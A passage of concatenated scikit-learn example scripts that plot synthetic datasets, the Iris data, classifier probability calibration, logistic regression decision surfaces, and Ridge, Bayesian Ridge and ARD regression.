from sklearn.datasets import make_gaussian_quantiles

plt.figure(figsize=(8, 8))
plt.subplots_adjust(bottom=.05, top=.9, left=.05, right=.95)

plt.subplot(321)
plt.title("One informative feature, one cluster per class", fontsize='small')
X1, Y1 = make_classification(n_features=2, n_redundant=0, n_informative=1,
                             n_clusters_per_class=1)
plt.scatter(X1[:, 0], X1[:, 1], marker='o', c=Y1)

plt.subplot(322)
plt.title("Two informative features, one cluster per class", fontsize='small')
X1, Y1 = make_classification(n_features=2, n_redundant=0, n_informative=2,
                             n_clusters_per_class=1)
plt.scatter(X1[:, 0], X1[:, 1], marker='o', c=Y1)

plt.subplot(323)
plt.title("Two informative features, two clusters per class", fontsize='small')
X2, Y2 = make_classification(n_features=2, n_redundant=0, n_informative=2)
plt.scatter(X2[:, 0], X2[:, 1], marker='o', c=Y2)


plt.subplot(324)
plt.title("Multi-class, two informative features, one cluster",
          fontsize='small')
X1, Y1 = make_classification(n_features=2, n_redundant=0, n_informative=2,
                             n_clusters_per_class=1, n_classes=3)
plt.scatter(X1[:, 0], X1[:, 1], marker='o', c=Y1)

plt.subplot(325)
plt.title("Three blobs", fontsize='small')
X1, Y1 = make_blobs(n_features=2, centers=3)
plt.scatter(X1[:, 0], X1[:, 1], marker='o', c=Y1)

plt.subplot(326)
plt.title("Gaussian divided into three quantiles", fontsize='small')
X1, Y1 = make_gaussian_quantiles(n_features=2, n_classes=3)
plt.scatter(X1[:, 0], X1[:, 1], marker='o', c=Y1)

plt.show()






#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
=========================================================
The Iris Dataset
=========================================================
This data sets consists of 3 different types of irises'
(Setosa, Versicolour, and Virginica) petal and sepal
length, stored in a 150x4 numpy.ndarray

The rows being the samples and the columns being:
Sepal Length, Sepal Width, Petal Length	and Petal Width.

The below plot uses the first two features.
See `here <https://en.wikipedia.org/wiki/Iris_flower_data_set>`_ for more
information on this dataset.
"""
print(__doc__)


# Code source: Gaël Varoquaux
# Modified for documentation by Jaques Grobler
# License: BSD 3 clause

import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
from sklearn import datasets
from sklearn.decomposition import PCA

# import some data to play with
iris = datasets.load_iris()
X = iris.data[:, :2]  # we only take the first two features.
Y = iris.target

x_min, x_max = X[:, 0].min() - .5, X[:, 0].max() + .5
y_min, y_max = X[:, 1].min() - .5, X[:, 1].max() + .5

plt.figure(2, figsize=(8, 6))
plt.clf()

# Plot the training points
plt.scatter(X[:, 0], X[:, 1], c=Y, cmap=plt.cm.Paired)
plt.xlabel('Sepal length')
plt.ylabel('Sepal width')

plt.xlim(x_min, x_max)
plt.ylim(y_min, y_max)
plt.xticks(())
plt.yticks(())

# To getter a better understanding of interaction of the dimensions
# plot the first three PCA dimensions
fig = plt.figure(1, figsize=(8, 6))
ax = Axes3D(fig, elev=-150, azim=110)
X_reduced = PCA(n_components=3).fit_transform(iris.data)
ax.scatter(X_reduced[:, 0], X_reduced[:, 1], X_reduced[:, 2], c=Y,
           cmap=plt.cm.Paired)
ax.set_title("First three PCA directions")
ax.set_xlabel("1st eigenvector")
ax.w_xaxis.set_ticklabels([])
ax.set_ylabel("2nd eigenvector")
ax.w_yaxis.set_ticklabels([])
ax.set_zlabel("3rd eigenvector")
ax.w_zaxis.set_ticklabels([])

plt.show()






"""
======================================
Probability calibration of classifiers
======================================

When performing classification you often want to predict not only
the class label, but also the associated probability. This probability
gives you some kind of confidence on the prediction. However, not all
classifiers provide well-calibrated probabilities, some being over-confident
while others being under-confident. Thus, a separate calibration of predicted
probabilities is often desirable as a postprocessing. This example illustrates
two different methods for this calibration and evaluates the quality of the
returned probabilities using Brier's score
(see https://en.wikipedia.org/wiki/Brier_score).

Compared are the estimated probability using a Gaussian naive Bayes classifier
without calibration, with a sigmoid calibration, and with a non-parametric
isotonic calibration. One can observe that only the non-parametric model is able
to provide a probability calibration that returns probabilities close to the
expected 0.5 for most of the samples belonging to the middle cluster with
heterogeneous labels. This results in a significantly improved Brier score.
"""
print(__doc__)

# Author: Mathieu Blondel <mathieu@mblondel.org>
#         Alexandre Gramfort <alexandre.gramfort@telecom-paristech.fr>
#         Balazs Kegl <balazs.kegl@gmail.com>
#         Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
# License: BSD Style.

import numpy as np
import matplotlib.pyplot as plt
from matplotlib import cm

from sklearn.datasets import make_blobs
from sklearn.naive_bayes import GaussianNB
from sklearn.metrics import brier_score_loss
from sklearn.calibration import CalibratedClassifierCV
from sklearn.model_selection import train_test_split


n_samples = 50000
n_bins = 3  # use 3 bins for calibration_curve as we have 3 clusters here

# Generate 3 blobs with 2 classes where the second blob contains
# half positive samples and half negative samples. Probability in this
# blob is therefore 0.5.
centers = [(-5, -5), (0, 0), (5, 5)]
X, y = make_blobs(n_samples=n_samples, n_features=2, cluster_std=1.0,
                  centers=centers, shuffle=False, random_state=42)

y[:n_samples // 2] = 0
y[n_samples // 2:] = 1
sample_weight = np.random.RandomState(42).rand(y.shape[0])

# split train, test for calibration
X_train, X_test, y_train, y_test, sw_train, sw_test = \
    train_test_split(X, y, sample_weight, test_size=0.9, random_state=42)

# Gaussian Naive-Bayes with no calibration
clf = GaussianNB()
clf.fit(X_train, y_train)  # GaussianNB itself does not support sample-weights
prob_pos_clf = clf.predict_proba(X_test)[:, 1]

# Gaussian Naive-Bayes with isotonic calibration
clf_isotonic = CalibratedClassifierCV(clf, cv=2, method='isotonic')
clf_isotonic.fit(X_train, y_train, sw_train)
prob_pos_isotonic = clf_isotonic.predict_proba(X_test)[:, 1]

# Gaussian Naive-Bayes with sigmoid calibration
clf_sigmoid = CalibratedClassifierCV(clf, cv=2, method='sigmoid')
clf_sigmoid.fit(X_train, y_train, sw_train)
prob_pos_sigmoid = clf_sigmoid.predict_proba(X_test)[:, 1]

print("Brier scores: (the smaller the better)")

clf_score = brier_score_loss(y_test, prob_pos_clf, sw_test)
print("No calibration: %1.3f" % clf_score)

clf_isotonic_score = brier_score_loss(y_test, prob_pos_isotonic, sw_test)
print("With isotonic calibration: %1.3f" % clf_isotonic_score)

clf_sigmoid_score = brier_score_loss(y_test, prob_pos_sigmoid, sw_test)
print("With sigmoid calibration: %1.3f" % clf_sigmoid_score)

###############################################################################
# Plot the data and the predicted probabilities
plt.figure()
y_unique = np.unique(y)
colors = cm.rainbow(np.linspace(0.0, 1.0, y_unique.size))
for this_y, color in zip(y_unique, colors):
    this_X = X_train[y_train == this_y]
    this_sw = sw_train[y_train == this_y]
    plt.scatter(this_X[:, 0], this_X[:, 1], s=this_sw * 50, c=color, alpha=0.5,
                label="Class %s" % this_y)
plt.legend(loc="best")
plt.title("Data")

plt.figure()
order = np.lexsort((prob_pos_clf, ))
plt.plot(prob_pos_clf[order], 'r', label='No calibration (%1.3f)' % clf_score)
plt.plot(prob_pos_isotonic[order], 'g', linewidth=3,
         label='Isotonic calibration (%1.3f)' % clf_isotonic_score)
plt.plot(prob_pos_sigmoid[order], 'b', linewidth=3,
         label='Sigmoid calibration (%1.3f)' % clf_sigmoid_score)
plt.plot(np.linspace(0, y_test.size, 51)[1::2],
         y_test[order].reshape(25, -1).mean(1),
         'k', linewidth=3, label=r'Empirical')
plt.ylim([-0.05, 1.05])
plt.xlabel("Instances sorted according to predicted probability "
           "(uncalibrated GNB)")
plt.ylabel("P(y=1)")
plt.legend(loc="upper left")
plt.title("Gaussian naive Bayes probabilities")

plt.show()






"""
==============================
Probability Calibration curves
==============================

When performing classification one often wants to predict not only the class
label, but also the associated probability. This probability gives some
kind of confidence on the prediction. This example demonstrates how to display
how well calibrated the predicted probabilities are and how to calibrate an
uncalibrated classifier.

The experiment is performed on an artificial dataset for binary classification
with 100.000 samples (1.000 of them are used for model fitting) with 20
features. Of the 20 features, only 2 are informative and 10 are redundant. The
first figure shows the estimated probabilities obtained with logistic
regression, Gaussian naive Bayes, and Gaussian naive Bayes with both isotonic
calibration and sigmoid calibration. The calibration performance is evaluated
with Brier score, reported in the legend (the smaller the better). One can
observe here that logistic regression is well calibrated while raw Gaussian
naive Bayes performs very badly. This is because of the redundant features
which violate the assumption of feature-independence and result in an overly
confident classifier, which is indicated by the typical transposed-sigmoid
curve.

Calibration of the probabilities of Gaussian naive Bayes with isotonic
regression can fix this issue as can be seen from the nearly diagonal
calibration curve. Sigmoid calibration also improves the brier score slightly,
albeit not as strongly as the non-parametric isotonic regression. This can be
attributed to the fact that we have plenty of calibration data such that the
greater flexibility of the non-parametric model can be exploited.

The second figure shows the calibration curve of a linear support-vector
classifier (LinearSVC). LinearSVC shows the opposite behavior as Gaussian
naive Bayes: the calibration curve has a sigmoid curve, which is typical for
an under-confident classifier. In the case of LinearSVC, this is caused by the
margin property of the hinge loss, which lets the model focus on hard samples
that are close to the decision boundary (the support vectors).

Both kinds of calibration can fix this issue and yield nearly identical
results. This shows that sigmoid calibration can deal with situations where
the calibration curve of the base classifier is sigmoid (e.g., for LinearSVC)
but not where it is transposed-sigmoid (e.g., Gaussian naive Bayes).
"""
print(__doc__)

# Author: Alexandre Gramfort <alexandre.gramfort@telecom-paristech.fr>
#         Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
# License: BSD Style.

import matplotlib.pyplot as plt

from sklearn import datasets
from sklearn.naive_bayes import GaussianNB
from sklearn.svm import LinearSVC
from sklearn.linear_model import LogisticRegression
from sklearn.metrics import (brier_score_loss, precision_score, recall_score,
                             f1_score)
from sklearn.calibration import CalibratedClassifierCV, calibration_curve
from sklearn.model_selection import train_test_split


# Create dataset of classification task with many redundant and few
# informative features
X, y = datasets.make_classification(n_samples=100000, n_features=20,
                                    n_informative=2, n_redundant=10,
                                    random_state=42)

X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.99,
                                                    random_state=42)


def plot_calibration_curve(est, name, fig_index):
    """Plot calibration curve for est w/o and with calibration. """
    # Calibrated with isotonic calibration
    isotonic = CalibratedClassifierCV(est, cv=2, method='isotonic')

    # Calibrated with sigmoid calibration
    sigmoid = CalibratedClassifierCV(est, cv=2, method='sigmoid')

    # Logistic regression with no calibration as baseline
    lr = LogisticRegression(C=1., solver='lbfgs')

    fig = plt.figure(fig_index, figsize=(10, 10))
    ax1 = plt.subplot2grid((3, 1), (0, 0), rowspan=2)
    ax2 = plt.subplot2grid((3, 1), (2, 0))

    ax1.plot([0, 1], [0, 1], "k:", label="Perfectly calibrated")
    for clf, name in [(lr, 'Logistic'),
                      (est, name),
                      (isotonic, name + ' + Isotonic'),
                      (sigmoid, name + ' + Sigmoid')]:
        clf.fit(X_train, y_train)
        y_pred = clf.predict(X_test)
        if hasattr(clf, "predict_proba"):
            prob_pos = clf.predict_proba(X_test)[:, 1]
        else:  # use decision function
            prob_pos = clf.decision_function(X_test)
            prob_pos = \
                (prob_pos - prob_pos.min()) / (prob_pos.max() - prob_pos.min())

        clf_score = brier_score_loss(y_test, prob_pos, pos_label=y.max())
        print("%s:" % name)
        print("\tBrier: %1.3f" % (clf_score))
        print("\tPrecision: %1.3f" % precision_score(y_test, y_pred))
        print("\tRecall: %1.3f" % recall_score(y_test, y_pred))
        print("\tF1: %1.3f\n" % f1_score(y_test, y_pred))

        fraction_of_positives, mean_predicted_value = \
            calibration_curve(y_test, prob_pos, n_bins=10)

        ax1.plot(mean_predicted_value, fraction_of_positives, "s-",
                 label="%s (%1.3f)" % (name, clf_score))

        ax2.hist(prob_pos, range=(0, 1), bins=10, label=name,
                 histtype="step", lw=2)

    ax1.set_ylabel("Fraction of positives")
    ax1.set_ylim([-0.05, 1.05])
    ax1.legend(loc="lower right")
    ax1.set_title('Calibration plots  (reliability curve)')

    ax2.set_xlabel("Mean predicted value")
    ax2.set_ylabel("Count")
    ax2.legend(loc="upper center", ncol=2)

    plt.tight_layout()

# Plot calibration curve for Gaussian Naive Bayes
plot_calibration_curve(GaussianNB(), "Naive Bayes", 1)

# Plot calibration curve for Linear SVC
plot_calibration_curve(LinearSVC(), "SVC", 2)

plt.show()






"""
========================================
Comparison of Calibration of Classifiers
========================================

Well calibrated classifiers are probabilistic classifiers for which the output
of the predict_proba method can be directly interpreted as a confidence level.
For instance a well calibrated (binary) classifier should classify the samples
such that among the samples to which it gave a predict_proba value close to
0.8, approx. 80% actually belong to the positive class.

LogisticRegression returns well calibrated predictions as it directly
optimizes log-loss. In contrast, the other methods return biased probabilities,
with different biases per method:

* GaussianNaiveBayes tends to push probabilities to 0 or 1 (note the counts in
  the histograms). This is mainly because it makes the assumption that features
  are conditionally independent given the class, which is not the case in this
  dataset which contains 2 redundant features.

* RandomForestClassifier shows the opposite behavior: the histograms show
  peaks at approx. 0.2 and 0.9 probability, while probabilities close to 0 or 1
  are very rare. An explanation for this is given by Niculescu-Mizil and Caruana
  [1]: "Methods such as bagging and random forests that average predictions from
  a base set of models can have difficulty making predictions near 0 and 1
  because variance in the underlying base models will bias predictions that
  should be near zero or one away from these values. Because predictions are
  restricted to the interval [0,1], errors caused by variance tend to be one-
  sided near zero and one. For example, if a model should predict p = 0 for a
  case, the only way bagging can achieve this is if all bagged trees predict
  zero. If we add noise to the trees that bagging is averaging over, this noise
  will cause some trees to predict values larger than 0 for this case, thus
  moving the average prediction of the bagged ensemble away from 0. We observe
  this effect most strongly with random forests because the base-level trees
  trained with random forests have relatively high variance due to feature
  subseting." As a result, the calibration curve shows a characteristic sigmoid
  shape, indicating that the classifier could trust its "intuition" more and
  return probabilities closer to 0 or 1 typically.

* Support Vector Classification (SVC) shows an even more sigmoid curve as
  the  RandomForestClassifier, which is typical for maximum-margin methods
  (compare Niculescu-Mizil and Caruana [1]), which focus on hard samples
  that are close to the decision boundary (the support vectors).

.. topic:: References:

    .. [1] Predicting Good Probabilities with Supervised Learning,
          A. Niculescu-Mizil & R. Caruana, ICML 2005
"""
print(__doc__)

# Author: Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
# License: BSD Style.

import numpy as np
np.random.seed(0)

import matplotlib.pyplot as plt

from sklearn import datasets
from sklearn.naive_bayes import GaussianNB
from sklearn.linear_model import LogisticRegression
from sklearn.ensemble import RandomForestClassifier
from sklearn.svm import LinearSVC
from sklearn.calibration import calibration_curve

X, y = datasets.make_classification(n_samples=100000, n_features=20,
                                    n_informative=2, n_redundant=2)

train_samples = 100  # Samples used for training the models

X_train = X[:train_samples]
X_test = X[train_samples:]
y_train = y[:train_samples]
y_test = y[train_samples:]

# Create classifiers
lr = LogisticRegression()
gnb = GaussianNB()
svc = LinearSVC(C=1.0)
rfc = RandomForestClassifier(n_estimators=100)


###############################################################################
# Plot calibration plots

plt.figure(figsize=(10, 10))
ax1 = plt.subplot2grid((3, 1), (0, 0), rowspan=2)
ax2 = plt.subplot2grid((3, 1), (2, 0))

ax1.plot([0, 1], [0, 1], "k:", label="Perfectly calibrated")
for clf, name in [(lr, 'Logistic'),
                  (gnb, 'Naive Bayes'),
                  (svc, 'Support Vector Classification'),
                  (rfc, 'Random Forest')]:
    clf.fit(X_train, y_train)
    if hasattr(clf, "predict_proba"):
        prob_pos = clf.predict_proba(X_test)[:, 1]
    else:  # use decision function
        prob_pos = clf.decision_function(X_test)
        prob_pos = \
            (prob_pos - prob_pos.min()) / (prob_pos.max() - prob_pos.min())
    fraction_of_positives, mean_predicted_value = \
        calibration_curve(y_test, prob_pos, n_bins=10)

    ax1.plot(mean_predicted_value, fraction_of_positives, "s-",
             label="%s" % (name, ))

    ax2.hist(prob_pos, range=(0, 1), bins=10, label=name,
             histtype="step", lw=2)

ax1.set_ylabel("Fraction of positives")
ax1.set_ylim([-0.05, 1.05])
ax1.legend(loc="lower right")
ax1.set_title('Calibration plots  (reliability curve)')

ax2.set_xlabel("Mean predicted value")
ax2.set_ylabel("Count")
ax2.legend(loc="upper center", ncol=2)

plt.tight_layout()
plt.show()






"""
==================================================
Probability Calibration for 3-class classification
==================================================

This example illustrates how sigmoid calibration changes predicted
probabilities for a 3-class classification problem. Illustrated is the
standard 2-simplex, where the three corners correspond to the three classes.
Arrows point from the probability vectors predicted by an uncalibrated
classifier to the probability vectors predicted by the same classifier after
sigmoid calibration on a hold-out validation set. Colors indicate the true
class of an instance (red: class 1, green: class 2, blue: class 3).

The base classifier is a random forest classifier with 25 base estimators
(trees). If this classifier is trained on all 800 training datapoints, it is
overly confident in its predictions and thus incurs a large log-loss.
Calibrating an identical classifier, which was trained on 600 datapoints, with
method='sigmoid' on the remaining 200 datapoints reduces the confidence of the
predictions, i.e., moves the probability vectors from the edges of the simplex
towards the center. This calibration results in a lower log-loss. Note that an
alternative would have been to increase the number of base estimators which
would have resulted in a similar decrease in log-loss.
"""
print(__doc__)

# Author: Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
# License: BSD Style.


import matplotlib.pyplot as plt

import numpy as np

from sklearn.datasets import make_blobs
from sklearn.ensemble import RandomForestClassifier
from sklearn.calibration import CalibratedClassifierCV
from sklearn.metrics import log_loss

np.random.seed(0)

# Generate data
X, y = make_blobs(n_samples=1000, n_features=2, random_state=42,
                  cluster_std=5.0)
X_train, y_train = X[:600], y[:600]
X_valid, y_valid = X[600:800], y[600:800]
X_train_valid, y_train_valid = X[:800], y[:800]
X_test, y_test = X[800:], y[800:]

# Train uncalibrated random forest classifier on whole train and validation
# data and evaluate on test data
clf = RandomForestClassifier(n_estimators=25)
clf.fit(X_train_valid, y_train_valid)
clf_probs = clf.predict_proba(X_test)
score = log_loss(y_test, clf_probs)

# Train random forest classifier, calibrate on validation data and evaluate
# on test data
clf = RandomForestClassifier(n_estimators=25)
clf.fit(X_train, y_train)
clf_probs = clf.predict_proba(X_test)
sig_clf = CalibratedClassifierCV(clf, method="sigmoid", cv="prefit")
sig_clf.fit(X_valid, y_valid)
sig_clf_probs = sig_clf.predict_proba(X_test)
sig_score = log_loss(y_test, sig_clf_probs)

# Plot changes in predicted probabilities via arrows
plt.figure(0)
colors = ["r", "g", "b"]
for i in range(clf_probs.shape[0]):
    plt.arrow(clf_probs[i, 0], clf_probs[i, 1],
              sig_clf_probs[i, 0] - clf_probs[i, 0],
              sig_clf_probs[i, 1] - clf_probs[i, 1],
              color=colors[y_test[i]], head_width=1e-2)

# Plot perfect predictions
plt.plot([1.0], [0.0], 'ro', ms=20, label="Class 1")
plt.plot([0.0], [1.0], 'go', ms=20, label="Class 2")
plt.plot([0.0], [0.0], 'bo', ms=20, label="Class 3")

# Plot boundaries of unit simplex
plt.plot([0.0, 1.0, 0.0, 0.0], [0.0, 0.0, 1.0, 0.0], 'k', label="Simplex")

# Annotate points on the simplex
plt.annotate(r'($\frac{1}{3}$, $\frac{1}{3}$, $\frac{1}{3}$)',
             xy=(1.0/3, 1.0/3), xytext=(1.0/3, .23), xycoords='data',
             arrowprops=dict(facecolor='black', shrink=0.05),
             horizontalalignment='center', verticalalignment='center')
plt.plot([1.0/3], [1.0/3], 'ko', ms=5)
plt.annotate(r'($\frac{1}{2}$, $0$, $\frac{1}{2}$)',
             xy=(.5, .0), xytext=(.5, .1), xycoords='data',
             arrowprops=dict(facecolor='black', shrink=0.05),
             horizontalalignment='center', verticalalignment='center')
plt.annotate(r'($0$, $\frac{1}{2}$, $\frac{1}{2}$)',
             xy=(.0, .5), xytext=(.1, .5), xycoords='data',
             arrowprops=dict(facecolor='black', shrink=0.05),
             horizontalalignment='center', verticalalignment='center')
plt.annotate(r'($\frac{1}{2}$, $\frac{1}{2}$, $0$)',
             xy=(.5, .5), xytext=(.6, .6), xycoords='data',
             arrowprops=dict(facecolor='black', shrink=0.05),
             horizontalalignment='center', verticalalignment='center')
plt.annotate(r'($0$, $0$, $1$)',
             xy=(0, 0), xytext=(.1, .1), xycoords='data',
             arrowprops=dict(facecolor='black', shrink=0.05),
             horizontalalignment='center', verticalalignment='center')
plt.annotate(r'($1$, $0$, $0$)',
             xy=(1, 0), xytext=(1, .1), xycoords='data',
             arrowprops=dict(facecolor='black', shrink=0.05),
             horizontalalignment='center', verticalalignment='center')
plt.annotate(r'($0$, $1$, $0$)',
             xy=(0, 1), xytext=(.1, 1), xycoords='data',
             arrowprops=dict(facecolor='black', shrink=0.05),
             horizontalalignment='center', verticalalignment='center')
# Add grid
plt.grid("off")
for x in [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]:
    plt.plot([0, x], [x, 0], 'k', alpha=0.2)
    plt.plot([0, 0 + (1-x)/2], [x, x + (1-x)/2], 'k', alpha=0.2)
    plt.plot([x, x + (1-x)/2], [0, 0 + (1-x)/2], 'k', alpha=0.2)

plt.title("Change of predicted probabilities after sigmoid calibration")
plt.xlabel("Probability class 1")
plt.ylabel("Probability class 2")
plt.xlim(-0.05, 1.05)
plt.ylim(-0.05, 1.05)
plt.legend(loc="best")

print("Log-loss of")
print(" * uncalibrated classifier trained on 800 datapoints: %.3f "
      % score)
print(" * classifier trained on 600 datapoints and calibrated on "
      "200 datapoint: %.3f" % sig_score)

# Illustrate calibrator
plt.figure(1)
# generate grid over 2-simplex
p1d = np.linspace(0, 1, 20)
p0, p1 = np.meshgrid(p1d, p1d)
p2 = 1 - p0 - p1
p = np.c_[p0.ravel(), p1.ravel(), p2.ravel()]
p = p[p[:, 2] >= 0]

calibrated_classifier = sig_clf.calibrated_classifiers_[0]
prediction = np.vstack([calibrator.predict(this_p)
                        for calibrator, this_p in
                        zip(calibrated_classifier.calibrators_, p.T)]).T
prediction /= prediction.sum(axis=1)[:, None]

# Plot modifications of calibrator
for i in range(prediction.shape[0]):
    plt.arrow(p[i, 0], p[i, 1],
              prediction[i, 0] - p[i, 0], prediction[i, 1] - p[i, 1],
              head_width=1e-2, color=colors[np.argmax(p[i])])
# Plot boundaries of unit simplex
plt.plot([0.0, 1.0, 0.0, 0.0], [0.0, 0.0, 1.0, 0.0], 'k', label="Simplex")

plt.grid("off")
for x in [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]:
    plt.plot([0, x], [x, 0], 'k', alpha=0.2)
    plt.plot([0, 0 + (1-x)/2], [x, x + (1-x)/2], 'k', alpha=0.2)
    plt.plot([x, x + (1-x)/2], [0, 0 + (1-x)/2], 'k', alpha=0.2)

plt.title("Illustration of sigmoid calibrator")
plt.xlabel("Probability class 1")
plt.ylabel("Probability class 2")
plt.xlim(-0.05, 1.05)
plt.ylim(-0.05, 1.05)

plt.show()






"""
====================================================
Plot multinomial and One-vs-Rest Logistic Regression
====================================================

Plot decision surface of multinomial and One-vs-Rest Logistic Regression.
The hyperplanes corresponding to the three One-vs-Rest (OVR) classifiers
are represented by the dashed lines.
"""
print(__doc__)
# Authors: Tom Dupre la Tour <tom.dupre-la-tour@m4x.org>
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt
from sklearn.datasets import make_blobs
from sklearn.linear_model import LogisticRegression

# make 3-class dataset for classification
centers = [[-5, 0], [0, 1.5], [5, -1]]
X, y = make_blobs(n_samples=1000, centers=centers, random_state=40)
transformation = [[0.4, 0.2], [-0.4, 1.2]]
X = np.dot(X, transformation)

for multi_class in ('multinomial', 'ovr'):
    clf = LogisticRegression(solver='sag', max_iter=100, random_state=42,
                             multi_class=multi_class).fit(X, y)

    # print the training scores
    print("training score : %.3f (%s)" % (clf.score(X, y), multi_class))

    # create a mesh to plot in
    h = .02  # step size in the mesh
    x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1
    y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1
    xx, yy = np.meshgrid(np.arange(x_min, x_max, h),
                         np.arange(y_min, y_max, h))

    # Plot the decision boundary. For that, we will assign a color to each
    # point in the mesh [x_min, x_max]x[y_min, y_max].
    Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])
    # Put the result into a color plot
    Z = Z.reshape(xx.shape)
    plt.figure()
    plt.contourf(xx, yy, Z, cmap=plt.cm.Paired)
    plt.title("Decision surface of LogisticRegression (%s)" % multi_class)
    plt.axis('tight')

    # Plot also the training points
    colors = "bry"
    for i, color in zip(clf.classes_, colors):
        idx = np.where(y == i)
        plt.scatter(X[idx, 0], X[idx, 1], c=color, cmap=plt.cm.Paired)

    # Plot the three one-against-all classifiers
    xmin, xmax = plt.xlim()
    ymin, ymax = plt.ylim()
    coef = clf.coef_
    intercept = clf.intercept_

    def plot_hyperplane(c, color):
        def line(x0):
            return (-(x0 * coef[c, 0]) - intercept[c]) / coef[c, 1]
        plt.plot([xmin, xmax], [line(xmin), line(xmax)],
                 ls="--", color=color)

    for i, color in zip(clf.classes_, colors):
        plot_hyperplane(i, color)

plt.show()






"""
==============================================================
Plot Ridge coefficients as a function of the L2 regularization
==============================================================

.. currentmodule:: sklearn.linear_model

:class:`Ridge` Regression is the estimator used in this example.
Each color in the left plot represents one different dimension of the
coefficient vector, and this is displayed as a function of the
regularization parameter. The right plot shows how exact the solution
is. This example illustrates how a well defined solution is
found by Ridge regression and how regularization affects the
coefficients and their values. The plot on the right shows how
the difference of the coefficients from the estimator changes
as a function of regularization.

In this example the dependent variable Y is set as a function
of the input features: y = X*w + c. The coefficient vector w is
randomly sampled from a normal distribution, whereas the bias term c is
set to a constant.

As alpha tends toward zero the coefficients found by Ridge
regression stabilize towards the randomly sampled vector w.
For big alpha (strong regularisation) the coefficients
are smaller (eventually converging at 0) leading to a
simpler and biased solution.
These dependencies can be observed on the left plot.

The right plot shows the mean squared error between the
coefficients found by the model and the chosen vector w.
Less regularised models retrieve the exact
coefficients (error is equal to 0), stronger regularised
models increase the error.

Please note that in this example the data is non-noisy, hence
it is possible to extract the exact coefficients.
"""

# Author: Kornel Kielczewski -- <kornel.k@plusnet.pl>

print(__doc__)

import matplotlib.pyplot as plt
import numpy as np

from sklearn.datasets import make_regression
from sklearn.linear_model import Ridge
from sklearn.metrics import mean_squared_error

clf = Ridge()

X, y, w = make_regression(n_samples=10, n_features=10, coef=True,
                          random_state=1, bias=3.5)

coefs = []
errors = []

alphas = np.logspace(-6, 6, 200)

# Train the model with different regularisation strengths
for a in alphas:
    clf.set_params(alpha=a)
    clf.fit(X, y)
    coefs.append(clf.coef_)
    errors.append(mean_squared_error(clf.coef_, w))

# Display results
plt.figure(figsize=(20, 6))

plt.subplot(121)
ax = plt.gca()
ax.plot(alphas, coefs)
ax.set_xscale('log')
plt.xlabel('alpha')
plt.ylabel('weights')
plt.title('Ridge coefficients as a function of the regularization')
plt.axis('tight')

plt.subplot(122)
ax = plt.gca()
ax.plot(alphas, errors)
ax.set_xscale('log')
plt.xlabel('alpha')
plt.ylabel('error')
plt.title('Coefficient error as a function of the regularization')
plt.axis('tight')

plt.show()






"""
=========================
Bayesian Ridge Regression
=========================

Computes a Bayesian Ridge Regression on a synthetic dataset.

See :ref:`bayesian_ridge_regression` for more information on the regressor.

Compared to the OLS (ordinary least squares) estimator, the coefficient
weights are slightly shifted toward zeros, which stabilises them.

As the prior on the weights is a Gaussian prior, the histogram of the
estimated weights is Gaussian.

The estimation of the model is done by iteratively maximizing the
marginal log-likelihood of the observations.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from scipy import stats

from sklearn.linear_model import BayesianRidge, LinearRegression

###############################################################################
# Generating simulated data with Gaussian weights
np.random.seed(0)
n_samples, n_features = 100, 100
X = np.random.randn(n_samples, n_features)  # Create Gaussian data
# Create weights with a precision lambda_ of 4.
lambda_ = 4.
w = np.zeros(n_features)
# Only keep 10 weights of interest
relevant_features = np.random.randint(0, n_features, 10)
for i in relevant_features:
    w[i] = stats.norm.rvs(loc=0, scale=1. / np.sqrt(lambda_))
# Create noise with a precision alpha of 50.
alpha_ = 50.
noise = stats.norm.rvs(loc=0, scale=1. / np.sqrt(alpha_), size=n_samples)
# Create the target
y = np.dot(X, w) + noise

###############################################################################
# Fit the Bayesian Ridge Regression and an OLS for comparison
clf = BayesianRidge(compute_score=True)
clf.fit(X, y)

ols = LinearRegression()
ols.fit(X, y)

###############################################################################
# Plot true weights, estimated weights and histogram of the weights
lw = 2
plt.figure(figsize=(6, 5))
plt.title("Weights of the model")
plt.plot(clf.coef_, color='lightgreen', linewidth=lw,
         label="Bayesian Ridge estimate")
plt.plot(w, color='gold', linewidth=lw, label="Ground truth")
plt.plot(ols.coef_, color='navy', linestyle='--', label="OLS estimate")
plt.xlabel("Features")
plt.ylabel("Values of the weights")
plt.legend(loc="best", prop=dict(size=12))

plt.figure(figsize=(6, 5))
plt.title("Histogram of the weights")
plt.hist(clf.coef_, bins=n_features, color='gold', log=True)
plt.scatter(clf.coef_[relevant_features], 5 * np.ones(len(relevant_features)),
            color='navy', label="Relevant features")
plt.ylabel("Features")
plt.xlabel("Values of the weights")
plt.legend(loc="upper left")

plt.figure(figsize=(6, 5))
plt.title("Marginal log-likelihood")
plt.plot(clf.scores_, color='navy', linewidth=lw)
plt.ylabel("Score")
plt.xlabel("Iterations")
plt.show()






"""
==================================================
Automatic Relevance Determination Regression (ARD)
==================================================

Fit regression model with Bayesian Ridge Regression.

See :ref:`bayesian_ridge_regression` for more information on the regressor.

Compared to the OLS (ordinary least squares) estimator, the coefficient
weights are slightly shifted toward zeros, which stabilises them.

The histogram of the estimated weights is very peaked, as a sparsity-inducing
prior is implied on the weights.

The estimation of the model is done by iteratively maximizing the
marginal log-likelihood of the observations.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from scipy import stats

from sklearn.linear_model import ARDRegression, LinearRegression

###############################################################################
# Generating simulated data with Gaussian weights

# Parameters of the example
np.random.seed(0)
n_samples, n_features = 100, 100
# Create Gaussian data
X = np.random.randn(n_samples, n_features)
# Create weights with a precision lambda_ of 4.
lambda_ = 4.
w = np.zeros(n_features)
# Only keep 10 weights of interest
relevant_features = np.random.randint(0, n_features, 10)
for i in relevant_features:
